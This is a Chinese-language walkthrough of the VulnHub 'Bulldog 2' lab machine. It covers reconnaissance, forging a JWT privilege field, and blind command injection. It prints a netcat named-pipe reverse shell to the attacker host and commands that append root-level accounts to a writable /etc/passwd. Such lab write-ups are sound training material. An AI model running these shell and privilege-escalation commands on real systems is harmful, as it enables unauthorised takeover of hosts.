介绍
系列:Bulldog(此系列共2台)
发布日期:2018 年 7 月 18 日
难度:高级
运行环境:Virtualbox
目标:取得 root 权限
学习:
- js 文件分析
- JWT 越权
- 命令执行(盲打)
- Passwd提权
靶机地址:https://www.vulnhub.com/entry/bulldog-2,246/
信息收集
主机发现
netdiscover主机发现
sudo netdiscover -i eth1 -r 192.168.56.0/24
主机信息探测
看来要从80端口打穿系统了
nmap -p- 192.168.56.105
nmap -p 80 -A 192.168.56.105
网站探测
打开网站,尝试注册账号失败
这个时候比较尴尬,网站使用Webpack打包,但是PackerFuzzer没有发现任何信息。URLFinder虽然发现很多js文件,但是一个一个看显然又不现实。
常规的目录爆破没有结果
这个时候回过头来,先看一眼插件“FindSomething”发现的路径,将其逐个点开后,发现两个有趣的路径。
敏感信息泄露
路径1:http://192.168.56.105/users/getUsers?limit=
路径2:http://192.168.56.105/users
如果点开路径2下的头像,会发现这两个路径下的信息其实是一致的,那就把用户名全部拿下来,尝试做一下密码爆破。
通过简单的正则,获取到 http://192.168.56.105/users/getUsers?limit= 中的所有用户名,发现竟然高达15760行,照这样子,登录框爆破就没法搞了,爆破量太大了。那就只能回过头来看看网站中的那对 js 文件了。
js 文件分析
前端代码分析,发现注册功能好像可以用。首先给出注册时候的请求头:"application/json"
接着给出了注册的数据包:
尝试一下,注册成功
JWT越权
登录系统,发现响应包里面有JWT信息,其中auth_level
字段比较引人注目,搜索一下,
结果搜索到这样一个信息
于是拼接得到新的JWT
接下来就是篡改登录时响应包的结果了,然后就登录了系统,看到了admin
命令执行
看似存在命令执行漏洞,但是拿DVWA的思路打一遍,没结果。用出传统技能报错法,看到了报错信息
谷歌搜索一下,结果第一条就是答案
由于是在访问linkauthenticate
路径时报错的,因此github项目中直接搜索,发现了命令执行的格式
由于命令无回显,我这里抓取靶机与kali之间的icmp类型的数据包,然后让靶机去ping kali,经过多次尝试,发现使用如下格式可以执行命令
sudo tcpdump -i eth1 icmp and host 192.168.56.101 and host 192.168.56.105
然后就可以反弹shell了
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 1234 >/tmp/f
Passwd提权
搜索属于root的所有文件。文件所有者是root、文件具有可执行权限、其他用户具有可写权限 的所有文件
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
结果发现存在“passwd提权”,以前都是用openssl来搞,这次用perl来搞
perl -le 'print crypt("hack", "123")'
这条 Perl 命令的作用是,使用 "123" 作为 salt 对 "hack" 字符串进行加密,并输出加密结果。
其中:
perl 是运行 Perl 解释器的命令。
-le 参数指定在程序执行后换行并退出解释器。
print crypt("hack", "123") 表示调用 Perl 内置函数 crypt() 对 "hack" 字符串进行加密,使用 "123" 作为 salt 并将加密后的结果输出到终端。
最终命令如下:
perl -le 'print crypt("hack", "123")'
echo 'lain:12RgFWKzAOIJM:0:0:root:/root:/bin/bash' >> /etc/passwd
交互式终端:python -c 'import pty; pty.spawn("/bin/bash")'
切换身份:su lain
输入密码:hack
当然,用我们熟悉的openssl来完成这个提权也是完全没问题的
openssl passwd -1 -salt hack hack123
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> /etc/passwd
tail /etc/passwd
su hack
hack123
id